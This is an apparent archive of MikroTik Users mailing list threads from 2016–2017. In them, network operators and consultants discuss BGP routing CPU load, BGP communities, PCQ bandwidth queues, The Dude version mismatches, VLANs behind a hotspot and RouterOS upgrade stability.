IPA 2017 Conference Schedule - Come meet up with us !!

MikroTik User Meeting (MUM) EUROPE - Milan, Italy - March 30th-31st, 2017
WISPAMERICA (WISPA) USA - Memphis, TN - March 14th-16th, 2017
MikroTik User Meeting (MUM) USA - TBA - SPRING 2017



From: mikrotik-users-boun...@wispa.org<mailto:mikrotik-users-boun...@wispa.org> 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Kevin Sullivan via 
Mikrotik-users
Sent: Tuesday, May 2, 2017 5:44 PM
To: mikrotik-users@wispa.org<mailto:mikrotik-users@wispa.org>
Subject: [Mikrotik Users] High routing CPU load

All,

We have  an edge router, CCR1072, that has a few 10g internet ports and a 10g 
connection back to the rest of the network. We're only passing ~1g at peak 
times currently, but the resources display shows 100% CPU on one of the cores 
continuously.  If we look at the load profiler, it says that "routing" is 
consuming 100% of that core.

We have 31 BGP peers and 25 route filters on the router. I'm wondering what we 
can do to lessen or spread the load around a bit.

Thanks,
Kevin




___

Mikrotik-users mailing list

Mikrotik-users@wispa.org<mailto:Mikrotik-users@wispa.org>

http://lists.wispa.org/mailman/listinfo/mikrotik-users

___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] High routing CPU load

[Dennis Burgess via Mikrotik-users]

We make the PowerRouter v3 and v4, depending on your needs.


Dennis Burgess - Network Solution Engineer - Consultant
MikroTik Certified 
Trainer/Consultant
 - MTCNA, MTCRE, MTCWE, MTCTCE, MTCINE

For Wireless Hardware/Routers visit www.linktechs.net
Radio Frequency Coverages: www.towercoverage.com
Office: 314-735-0270
E-Mail: dmburg...@linktechs.net

From: mikrotik-users-boun...@wispa.org 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Kevin Sullivan via 
Mikrotik-users
Sent: Monday, May 8, 2017 4:50 PM
To: 'Kevin Myers' ; 'Mikrotik Users' 

Subject: Re: [Mikrotik Users] High routing CPU load

Thanks. Just for clarification, we're only see 100% load on one core, not on 
the router as a whole.

It's started crashing OSPF occasionally when we log into the router via SSH, as 
well. It doesn't do that with winbox, only SSH. Kinda weird, since I would 
think the OSPF stuff would be running through an alternate core, as would the 
SSH login.

Right now we're thinking we're going to have to switch to x86 for more 
processing power per CPU. Don't see that many options for a pre-built x86, 
though.

Kevin

From: Kevin Myers [mailto:kevin.my...@iparchitechs.com]
Sent: Tuesday, May 02, 2017 5:11 PM
To: Kevin Sullivan; Mikrotik Users
Subject: RE: [Mikrotik Users] High routing CPU load

If you're advertising a large number of routes to your 31 peers (full or 
partial tables) then you'll need to adjust your routing architecture somewhat 
and consider using the CCR1072 more for transit and offload some of the 
peerings with a larger number of routes onto a CHR or x86 VM with a public 
route reflector (depends on throughput requirements).

You can easily get over 100 peerings on a CCR but the route count has to be 
lower.

Thanks,

Kevin Myers
MTCINE # 1409
MTCRE,  MTCTCE, MTCWE, CCNP, MCP
Network Architect / Managing Partner
+1 (601) 287-3868 - Mobile (GMT -6)
+1 (303) 590-9943 - Office (GMT -6)
ipa.kevin.myers - Skype

[iparchitechs_ms_logo_msp-header-166x46]

#1 Ranked MikroTik consulting firm in North America
Expert consulting in | BGP | MPLS | OSPF | ISP | Data Center

IPA 2017 Conference Schedule - Come meet up with us !!

MikroTik User Meeting (MUM) EUROPE - Milan, Italy - March 30th-31st, 2017
WISPAMERICA (WISPA) USA - Memphis, TN - March 14th-16th, 2017
MikroTik User Meeting (MUM) USA - TBA - SPRING 2017



From: mikrotik-users-boun...@wispa.org 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Kevin Sullivan via 
Mikrotik-users
Sent: Tuesday, May 2, 2017 5:44 PM
To: mikrotik-users@wispa.org
Subject: [Mikrotik Users] High routing CPU load

All,

We have  an edge router, CCR1072, that has a few 10g internet ports and a 10g 
connection back to the rest of the network. We're only passing ~1g at peak 
times currently, but the resources display shows 100% CPU on one of the cores 
continuously.  If we look at the load profiler, it says that "routing" is 
consuming 100% of that core.

We have 31 BGP peers and 25 route filters on the router. I'm wondering what we 
can do to lessen or spread the load around a bit.

Thanks,
Kevin
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] High routing CPU load

[Dennis Burgess via Mikrotik-users]

They never said there would be multi-threaded BGP, they have optimized it, 
that's it, they are NOT going to have a multi-threaded BGP session, well not 
from what I understand.  However, they did get the BGP process to behave much 
faster, 10x fold from what I can tell, but alas, v7 is lng awaited.

Dennis Burgess
www.linktechs.net - 314-735-0270 x103 - 
dmburg...@linktechs.net

From: mikrotik-users-boun...@wispa.org 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Chris Wright via 
Mikrotik-users
Sent: Tuesday, May 2, 2017 6:40 PM
To: 'Mikrotik Users' 
Subject: Re: [Mikrotik Users] High routing CPU load

For several years it's been said that multi-threaded BGP processing will be 
supported in RouterOS v7. And if you remember that RouterOS v7's long-awaited 
release was an April Fools' joke THREE YEARS 
AGO that'll 
give you an idea of when to expect better BGP performance.

Chris Wright
Network Administrator

From: mikrotik-users-boun...@wispa.org 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Kevin Sullivan via 
Mikrotik-users
Sent: Tuesday, May 02, 2017 3:44 PM
To: mikrotik-users@wispa.org
Subject: [Mikrotik Users] High routing CPU load

All,

We have  an edge router, CCR1072, that has a few 10g internet ports and a 10g 
connection back to the rest of the network. We're only passing ~1g at peak 
times currently, but the resources display shows 100% CPU on one of the cores 
continuously.  If we look at the load profiler, it says that "routing" is 
consuming 100% of that core.

We have 31 BGP peers and 25 route filters on the router. I'm wondering what we 
can do to lessen or spread the load around a bit.

Thanks,
Kevin
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] High routing CPU load

[Dennis Burgess via Mikrotik-users]

Sounds like you have extra rules in there that is causing high load.  I would 
have to look at it to be cirtan, but there should not be any reason for 100% 
cpu. Maybe on one core, but not all ..

Dennis Burgess
www.linktechs.net - 314-735-0270 x103 - 
dmburg...@linktechs.net

From: mikrotik-users-boun...@wispa.org 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Kevin Sullivan via 
Mikrotik-users
Sent: Tuesday, May 2, 2017 5:44 PM
To: mikrotik-users@wispa.org
Subject: [Mikrotik Users] High routing CPU load

All,

We have  an edge router, CCR1072, that has a few 10g internet ports and a 10g 
connection back to the rest of the network. We're only passing ~1g at peak 
times currently, but the resources display shows 100% CPU on one of the cores 
continuously.  If we look at the load profiler, it says that "routing" is 
consuming 100% of that core.

We have 31 BGP peers and 25 route filters on the router. I'm wondering what we 
can do to lessen or spread the load around a bit.

Thanks,
Kevin
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] Multi-hop BGP

[Dennis Burgess via Mikrotik-users]

Note I most cases, they don’t’ modify them, so get their upstream communities 
and see if it affects traffic.  I.e. they may pass through to their upstream 
without issues.



Dennis Burgess – Network Solution Engineer – Consultant
MikroTik Certified 
Trainer/Consultant
 – MTCNA, MTCRE, MTCWE, MTCTCE, MTCINE

For Wireless Hardware/Routers visit www.linktechs.net
Radio Frequency Coverages: www.towercoverage.com
Office: 314-735-0270
E-Mail: dmburg...@linktechs.net

From: mikrotik-users-boun...@wispa.org 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Faisal Imtiaz via 
Mikrotik-users
Sent: Thursday, April 13, 2017 4:14 PM
To: Nick Bright ; Mikrotik Users 

Subject: Re: [Mikrotik Users] Multi-hop BGP

If you want to get into more details off list that will be fine...

BGP-Communities is not some magical thing, it is a Custom Defined 
feature/functionality that a provider can choose to implement or not to.. it 
only helps in doing traffic management automatically by their down stream 
customers..

There are a number of providers who don't have BGP Communities implemented for 
their down-stream customer use, however they may be willing to do some specific 
traffic engineering that one may desire ..

Otherwise, it is what it is.

:)

Faisal Imtiaz
Snappy Internet & Telecom
7266 SW 48 Street
Miami, FL 33155
Tel: 305 663 5518 x 232

Help-desk: (305)663-5518 Option 2 or Email: 
supp...@snappytelecom.net


From: "Nick Bright via Mikrotik-users" 
>
To: "Mikrotik Users" >
Sent: Thursday, April 13, 2017 2:28:09 PM
Subject: Re: [Mikrotik Users] Multi-hop BGP
On 4/10/2017 1:15 PM, Faisal Imtiaz wrote:
hint... not sure who are your ISP's but in some cases, you can use bgp 
communities for their upstream (as long as they do not filter or overwrite the 
communities) to have the desired affect.
Unfortunately that isn't an option, because of the topology. The issue is that 
a significant amount of the traffic comes from a source directly connected to 
an intermediary network, before it reaches Tier 1 Internet; and that 
intermediary network is the one that is declining to offer support for BGP 
communities.

It's the same reason that path pre-pending isn't working well either.

--

---

-  Nick Bright-

-  Vice President of Technology   -

-  Valnet -=- We Connect You -=-  -

-  Tel 888-332-1616 x 315 / Fax 620-331-0789  -

-  Web http://www.valnet.net/ -

---

- Are your files safe?-

- Valnet Vault - Secure Cloud Backup  -

- More information & 30 day free trial at -

- http://www.valnet.net/services/valnet-vault -

---



This email message and any attachments are intended solely for the use of the 
addressees hereof. This message and any attachments may contain information 
that is confidential, privileged and exempt from disclosure under applicable 
law. If you are not the intended recipient of this message, you are prohibited 
from reading, disclosing, reproducing, distributing, disseminating or otherwise 
using this transmission. If you have received this message in error, please 
promptly notify the sender by reply E-mail and immediately delete this message 
from your system.

___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] Queues per user per subnet

[Dennis Burgess via Mikrotik-users]

PCQ can be done in simple queues, one simple queue ☺


Dennis Burgess – Network Solution Engineer – Consultant
MikroTik Certified 
Trainer/Consultant
 – MTCNA, MTCRE, MTCWE, MTCTCE, MTCINE

For Wireless Hardware/Routers visit www.linktechs.net
Radio Frequency Coverages: www.towercoverage.com
Office: 314-735-0270
E-Mail: dmburg...@linktechs.net

From: mikrotik-users-boun...@wispa.org 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Josh Luthman via 
Mikrotik-users
Sent: Thursday, April 6, 2017 2:42 PM
To: Paul McCall ; Mikrotik Users 
Subject: Re: [Mikrotik Users] Queues per user per subnet

Not a simple queue, no.

You could do firewall mangle or a PCQ.  Or hotspot I guess...


Josh Luthman
Office: 937-552-2340
Direct: 937-552-2343
1100 Wayne St
Suite 1337
Troy, OH 45373

On Thu, Apr 6, 2017 at 3:35 PM, Paul McCall via Mikrotik-users 
> wrote:
Is there a simple way to add queue(s) for an entire /20 without having to have 
a queue for each one?  To be clear, I'm not concerned with how to get that many 
queues in (we have a spreadsheet that makes that easy), but moreso not wanting 
to have that many queues.

Looking to limit each user to a maximum of 5Mbit down / 1Mbit up with a 25Mb 
burst up/down.

Paul


___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] Queues per user per subnet

[Dennis Burgess via Mikrotik-users]

PCQ. :)  simple.  One line :) 


Dennis Burgess - Network Solution Engineer - Consultant 
MikroTik Certified Trainer/Consultant - MTCNA, MTCRE, MTCWE, MTCTCE, MTCINE

For Wireless Hardware/Routers visit www.linktechs.net
Radio Frequency Coverages: www.towercoverage.com 
Office: 314-735-0270
E-Mail: dmburg...@linktechs.net 


-Original Message-
From: mikrotik-users-boun...@wispa.org 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Paul McCall via 
Mikrotik-users
Sent: Thursday, April 6, 2017 2:35 PM
To: Mikrotik Users 
Subject: [Mikrotik Users] Queues per user per subnet

Is there a simple way to add queue(s) for an entire /20 without having to have 
a queue for each one?  To be clear, I'm not concerned with how to get that many 
queues in (we have a spreadsheet that makes that easy), but moreso not wanting 
to have that many queues.

Looking to limit each user to a maximum of 5Mbit down / 1Mbit up with a 25Mb 
burst up/down.

Paul


___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] MT/Dude versions This is getting crazy

[Dennis Burgess via Mikrotik-users]

Install them to different folders and create links to them.  Simple.  We have 
that we have clients with all different versions.  Else, why are you running 
dude the 750s, wow, that’s a bit underpowered.


Dennis Burgess – Network Solution Engineer – Consultant
MikroTik Certified 
Trainer/Consultant<http://www.linktechs.net/productcart/pc/viewcontent.asp?idpage=5>
 – MTCNA, MTCRE, MTCWE, MTCTCE, MTCINE

For Wireless Hardware/Routers visit www.linktechs.net<http://www.linktechs.net/>
Radio Frequency Coverages: www.towercoverage.com<http://www.towercoverage.com/>
Office: 314-735-0270
E-Mail: dmburg...@linktechs.net<mailto:dmburg...@linktechs.net>

From: mikrotik-users-boun...@wispa.org 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of ralph via Mikrotik-users
Sent: Friday, March 10, 2017 8:43 AM
To: 'Mikrotik Users' <mikrotik-users@wispa.org>
Subject: [Mikrotik Users] MT/Dude versions This is getting crazy

I have at least 5 different versions ROS running and I can’t find a version of 
The client that can talk to all of them.Each one seems to need its own 
version of The Dude and it is pretty tedious to manage this.

Currently when I open The Dude (that formerly worked) I get that “Downloading 
or Upgrading” message and then Dude closes.

Why wont the current Dude version for the latest ROS work with the past couple 
of previous versions?  It would seem that they would do regression testing when 
they bring out new versions.

I am not talking about V6.x vs V5  or things like that, I mean  6.36 6.38  
6.35.4  6.38.3  6.17, etc.

My customers are 24 hour operations and I don’t want to upgrade all of them 
right now plus there are memory constraints on the RB750 units.

There has to be something I am missing about getting it to work on older 
versions of ROS. HELP!!!

From: mikrotik-users-boun...@wispa.org<mailto:mikrotik-users-boun...@wispa.org> 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Scott Reed via 
Mikrotik-users
Sent: Thursday, March 9, 2017 4:32 PM
To: Mikrotik Users <mikrotik-users@wispa.org<mailto:mikrotik-users@wispa.org>>
Subject: Re: [Mikrotik Users] DUDE Discovery


I haven't done Dude discovery for a while so this may not work.

Justin is right, hard to move.  However, you may be able to put just the ones 
you want on the map.

It used to do discovery by subnet.  That doesn't have to be real subnets.  So, 
build a map for your PoP or AP or whatever.  Do discovery for the map on just 
the address range that should be on the map. You may need to do several small 
ranges, but this let's you get just what you want.

On 3/9/2017 4:23 PM, Justin Wilson via Mikrotik-users wrote:

+1 to what Dennis says.  The fact that you can’t move devices to different maps 
after discovery (at least without hassle) is a major reason I don’t let things 
auto discover.   Setup your map and submaps then add your devices.  It seems 
time consuming but you check as you go.





Justin Wilson

j...@mtin.net<mailto:j...@mtin.net>



---

http://www.mtin.net Owner/CEO

xISP Solutions- Consulting – Data Centers - Bandwidth



http://www.midwest-ix.com  COO/Chairman

Internet Exchange - Peering - Distributed Fabric



On Mar 9, 2017, at 9:44 AM, Dennis Burgess via Mikrotik-users 
<mikrotik-users@wispa.org><mailto:mikrotik-users@wispa.org> wrote:



Not to do DUDE discovery!! Seriously, just add and build it from scratch, much 
simpler and better.  It has no clue on subnets, how things are connected etc.





Dennis Burgess - Network Solution Engineer - Consultant

MikroTik Certified Trainer/Consultant - MTCNA, MTCRE, MTCWE, MTCTCE, MTCINE



For Wireless Hardware/Routers visit www.linktechs.net<http://www.linktechs.net>

Radio Frequiency Coverages: www.towercoverage.com<http://www.towercoverage.com>

Office: 314-735-0270

E-Mail: dmburg...@linktechs.net<mailto:dmburg...@linktechs.net>





-Original Message-

From: mikrotik-users-boun...@wispa.org<mailto:mikrotik-users-boun...@wispa.org> 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Nick Bright via 
Mikrotik-users

Sent: Wednesday, March 8, 2017 3:42 PM

To: mikrotik-users@wispa.org<mailto:mikrotik-users@wispa.org>

Subject: [Mikrotik Users] DUDE Discovery



What is the proper way to get dude to discover my RouterOS devices, and place 
them on the network map?



I can get it to put everything (or nothing) on the network map with a 
discovery, but that results in (literally) thousands of devices that don't need 
to be there. I want *ONLY* RouterOS devices to be discovered.



The documentation for Dude is quite insufficient 
(https://wiki.mikrotik.com/wiki/Manual:The_Dude/Device_discovery).

Following it results in a blank map.



--

---

-  Nick Bright-

-  Vice President of Technology   -

-  Valnet -=- We Connect You -

Re: [Mikrotik Users] Need help with my mikrotik configuration

[Dennis Burgess via Mikrotik-users]

We can assist you if needed.  ☺  We do this all of the time ☺


Dennis Burgess – Network Solution Engineer – Consultant
MikroTik Certified 
Trainer/Consultant
 – MTCNA, MTCRE, MTCWE, MTCTCE, MTCINE

For Wireless Hardware/Routers visit www.linktechs.net
Radio Frequiency Coverages: www.towercoverage.com
Office: 314-735-0270
E-Mail: dmburg...@linktechs.net

From: mikrotik-users-boun...@wispa.org 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Alejandro Perez via 
Mikrotik-users
Sent: Wednesday, January 18, 2017 11:34 AM
To: mikrotik-users@wispa.org
Subject: [Mikrotik Users] Need help with my mikrotik configuration

Hello.
Does anyone know a compaby that remotely can help me to configure my mikrotik 
router? Im almost done with my configuration, but im having some issues with 
the Pppoe and management vlans.

Regards,


Alex Perez

956.236.4772
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] Guidance routing WISP

[Dennis Burgess via Mikrotik-users]

Agreed.. l lots of things to do and say here.  If you need assistance, let us 
know.


Dennis Burgess – Network Solution Engineer – Consultant
MikroTik Certified 
Trainer/Consultant
 – MTCNA, MTCRE, MTCWE, MTCTCE, MTCINE

For Wireless Hardware/Routers visit www.linktechs.net
Radio Frequiency Coverages: www.towercoverage.com
Office: 314-735-0270
E-Mail: dmburg...@linktechs.net

From: mikrotik-users-boun...@wispa.org 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Scott Piehn via 
Mikrotik-users
Sent: Sunday, December 25, 2016 6:29 PM
To: OWS Optimum Wireless ; Mikrotik Users 

Subject: Re: [Mikrotik Users] Guidance routing WISP

Its my understanding that the consultants on this list do a lot of this.  
Spending the 2k on someone that has seen many different configurations may save 
you that much in customer headache.


Scott


From: OWS Optimum Wireless via Mikrotik-users
Sent: Saturday, December 24, 2016 1:45 PM
To: Mikrotik Users
Subject: [Mikrotik Users] Guidance routing WISP

Hello.

I need guidance on how to route our WISP network. We currently have almost 300 
customers on 10 towers, bridging all these towers, all cpe are routed and the 
authentication is done by ip address on the core router (rb3011).

I'm looking to route the network and in the future do some sort of failover. 
Now, don't know what exactly to do since our authentication is by IP and not by 
PPoE.

Our network is on 172.16.0.0/16 and customer's IP 
172.16.100.0/16 and over. I probably need to change 
addresses or authentication, but rather do it now than later.

What you guys recommend me to do or read in order for us to go on the right 
track.

Your time and help is appreciated.

Thanks and Happy Holidays!

___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users


No virus found in this message.
Checked by AVG - www.avg.com
Version: 2016.0.7924 / Virus Database: 4739/13647 - Release Date: 12/24/16
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] GRE tunnel between Mikrotik and other device.

[Dennis Burgess via Mikrotik-users]

Sorry going to be a smart ass here..

Ya replace the watchgaurd with a MikroTik . :)  hehehe sorry.. I know not 
helpful... 


Dennis Burgess - Network Solution Engineer - Consultant 
MikroTik Certified Trainer/Consultant - MTCNA, MTCRE, MTCWE, MTCTCE, MTCINE

For Wireless Hardware/Routers visit www.linktechs.net
Radio Frequiency Coverages: www.towercoverage.com 
Office: 314-735-0270
E-Mail: dmburg...@linktechs.net 


-Original Message-
From: mikrotik-users-boun...@wispa.org 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Brett A Mansfield via 
Mikrotik-users
Sent: Tuesday, November 22, 2016 12:54 PM
To: mikrotik-users@wispa.org
Subject: [Mikrotik Users] GRE tunnel between Mikrotik and other device.

Anyone know how to create a GRE tunnel between a Mikrotik CCR and a watchguard? 

Thank you,
Brett A Mansfield
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] Advice needed- Hotspot Behind Hotspot

[Dennis Burgess via Mikrotik-users]

Several different ways of doing this, vlan, vpn etc.   VLAN would be the 
simplest and don't add overhead.


Dennis Burgess - Network Solution Engineer - Consultant
MikroTik Certified 
Trainer/Consultant
 - MTCNA, MTCRE, MTCWE, MTCTCE, MTCINE

For Wireless Hardware/Routers visit www.linktechs.net
Radio Frequiency Coverages: www.towercoverage.com
Office: 314-735-0270
E-Mail: dmburg...@linktechs.net

From: mikrotik-users-boun...@wispa.org 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of ralph via Mikrotik-users
Sent: Thursday, September 22, 2016 4:14 PM
To: 'Mikrotik Users' 
Subject: [Mikrotik Users] Advice needed- Hotspot Behind Hotspot

The subject is the best I could do for a description, but let me really 
describe it.

I have a System running in an RV park, with a Cable Modem feeding a couple 
dozen Aps.  I use Mikrotik hotspot with an external service handling AAA and 
payment.   It is on a static IP from a cable modem and I have plenty of spare 
statics for future use.

I have a new customer that is a marina a couple of miles away. I have already 
shot a PtP link over there which works well. Unfortunately the AP for this shot 
is fed, not from the cable modem, but from a point behind the RV park hotspot 
this point in itself is fed from the cable modem by a couple of PtP links in 
between.Operating in transparent bridge mode, so that isn't an issue..  So 
the users at the marina get the login page, etc for the RV park and basically 
look like they are RV park residents.I'm not using VLANS in the network.

Problem  is  is that I need the users at the Marina not to get the Hotspot 
system for the RV Park. Instead they need their own.   I can put another MT 
router/hotspot out at the marina but the problem is this feed that is already 
behind a hotspot. How can I let one of the external static IPs from the cable 
modem pass unrestricted out to that AP that shoots to the Marina without having 
the RV hotspot get in the way?  It sounds like a job for VLANS but that would 
mean that I'd have to VLAN the entire network at both places and somehow get 
the external IP for the marina to go around the first hotspot somehow.

Can anyone offer any advice how to do this?

Hopefully this simple diagram comes through and isn't messed up

What I have:
Modem-MT CCR Router---  ---(RV Park Aps)

 |

+--- (Marina Aps)

What I want:
Modem-MT CCR Router---  ---(RV Park Aps)

 |

+--- MT CCR Router (Marina 
Aps)

Thanks

Ralph


___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] Hotspot authentication after trial expires

[Dennis Burgess via Mikrotik-users]

I would use a application that is designed for that, HSNM would do that, as it 
also has mobile integrations.


Thanks,

Dennis Burgess – Network Engineer/Consutant
MikroTik Certified 
Trianer/Consultant
 – MTCNA, MTCRE, MTCWE, MTCTCE, MTCINE
Cambium ePMP Certified, Telrad Certified, Cisco CCNA

For Wireless Hardware/Routers visit www.linktechs.net
RF Mapping: www.towercoverage.com
Office: 314-735-0270
dmburg...@linktechs.net

From: mikrotik-users-boun...@wispa.org 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of OWS Optimum Wireless via 
Mikrotik-users
Sent: Sunday, September 18, 2016 4:00 AM
To: Mikrotik Users 
Subject: [Mikrotik Users] Hotspot authentication after trial expires

Hello.

I'm trying to set up a Hotspot with MT that shows a custom login page where I 
want to show advertisements.

So far I have it working but, since users on mobile devices mostly use apps 
(Whatsapp, FB, Instagram, etc), I've come to halt. I set the Trial Uptime Limit 
and Reset to 30 minutes, so the login page should come up. That would work ONLY 
if the user is on the browser viewing websites but, if using any other app then 
nothing happens and the user needs to either go to the browser or reconnect to 
the hotspot in order for the page to show. The user will just think that their 
internet connection just died...

Is there a way how to accomplish what I'm trying to do?

Thank you in advanced for your time.
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] Updates

[Dennis Burgess via Mikrotik-users]

Yap, have quite a few on 6.36.2 and 3 without pppoe issues.. so..  again, don’t 
know what ti is. Keep in mind that those may be VERY specific issues with 
something specific to that network. Who knows.


Thanks,

Dennis Burgess – Network Engineer/Consutant
MikroTik Certified 
Trianer/Consultant
 – MTCNA, MTCRE, MTCWE, MTCTCE, MTCINE
Cambium ePMP Certified, Telrad Certified, Cisco CCNA

For Wireless Hardware/Routers visit www.linktechs.net
RF Mapping: www.towercoverage.com
Office: 314-735-0270
dmburg...@linktechs.net

From: mikrotik-users-boun...@wispa.org 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Justin Miller via 
Mikrotik-users
Sent: Monday, September 12, 2016 6:25 PM
To: Steve Barnes ; Mikrotik Users 
Subject: Re: [Mikrotik Users] Updates

I've heard that pppoe speeds are worse in some of the later versions, but only 
for the client or servers. Not for PPPoE transiting through.


Justin Miller


 VA SkyWire, LLC
 3114 W Marshall St, Ste A
 Richmond, VA 23230
 Office: (804) 521-4212
 Desk: (804) 591-0500 ext 101
 Fax: (804) 591-1559
 jus...@vaskywire.com

On Sep 12, 2016, at 3:58 PM, Steve Barnes via Mikrotik-users 
> wrote:
I am on 6.29 across all my OSPF network and Seeing some goofy things from time 
to time with Queues and all and there are some features that I would like to 
add in 6.36 Is 6.36.3 stable treating networks well?  Any gotcha's going form 
6.29 to 6.36.3?

Steve Barnes
Wireless Operations Manager
PCSWIN.COM
NLBC.COM

___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] Updates

[Dennis Burgess via Mikrotik-users]

I have lots of units on 6.36.3 without issues, so don't know what they are 
specifically seeing.  


Thanks,

Dennis Burgess - Network Engineer/Consutant
MikroTik Certified Trianer/Consultant - MTCNA, MTCRE, MTCWE, MTCTCE, MTCINE
Cambium ePMP Certified, Telrad Certified, Cisco CCNA

For Wireless Hardware/Routers visit www.linktechs.net
RF Mapping: www.towercoverage.com 
Office: 314-735-0270
dmburg...@linktechs.net 


-Original Message-
From: mikrotik-users-boun...@wispa.org 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Faisal Imtiaz via 
Mikrotik-users
Sent: Monday, September 12, 2016 4:26 PM
To: Steve Barnes ; Mikrotik Users 
Subject: Re: [Mikrotik Users] Updates

I believe Kevin Myers had shared, in an earlier post,  that 6.32.4 appears to 
be the most stable for OSFP/BGP etc..

I would do that before coming up all they way to the latest.

Regards

Faisal Imtiaz
Snappy Internet & Telecom
7266 SW 48 Street
Miami, FL 33155
Tel: 305 663 5518 x 232

Help-desk: (305)663-5518 Option 2 or Email: supp...@snappytelecom.net

- Original Message -
> From: "Steve Barnes via Mikrotik-users" 
> To: "Mikrotik Users (mikrotik-users@wispa.org)" 
> 
> Sent: Monday, September 12, 2016 3:58:03 PM
> Subject: [Mikrotik Users] Updates

> I am on 6.29 across all my OSPF network and Seeing some goofy things 
> from time to time with Queues and all and there are some features that 
> I would like to add in 6.36 Is 6.36.3 stable treating networks well?  
> Any gotcha's going form
> 6.29 to 6.36.3?
> 
> Steve Barnes
> Wireless Operations Manager
> PCSWIN.COM
> NLBC.COM
> 
> 
> ___
> Mikrotik-users mailing list
> Mikrotik-users@wispa.org
> http://lists.wispa.org/mailman/listinfo/mikrotik-users
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users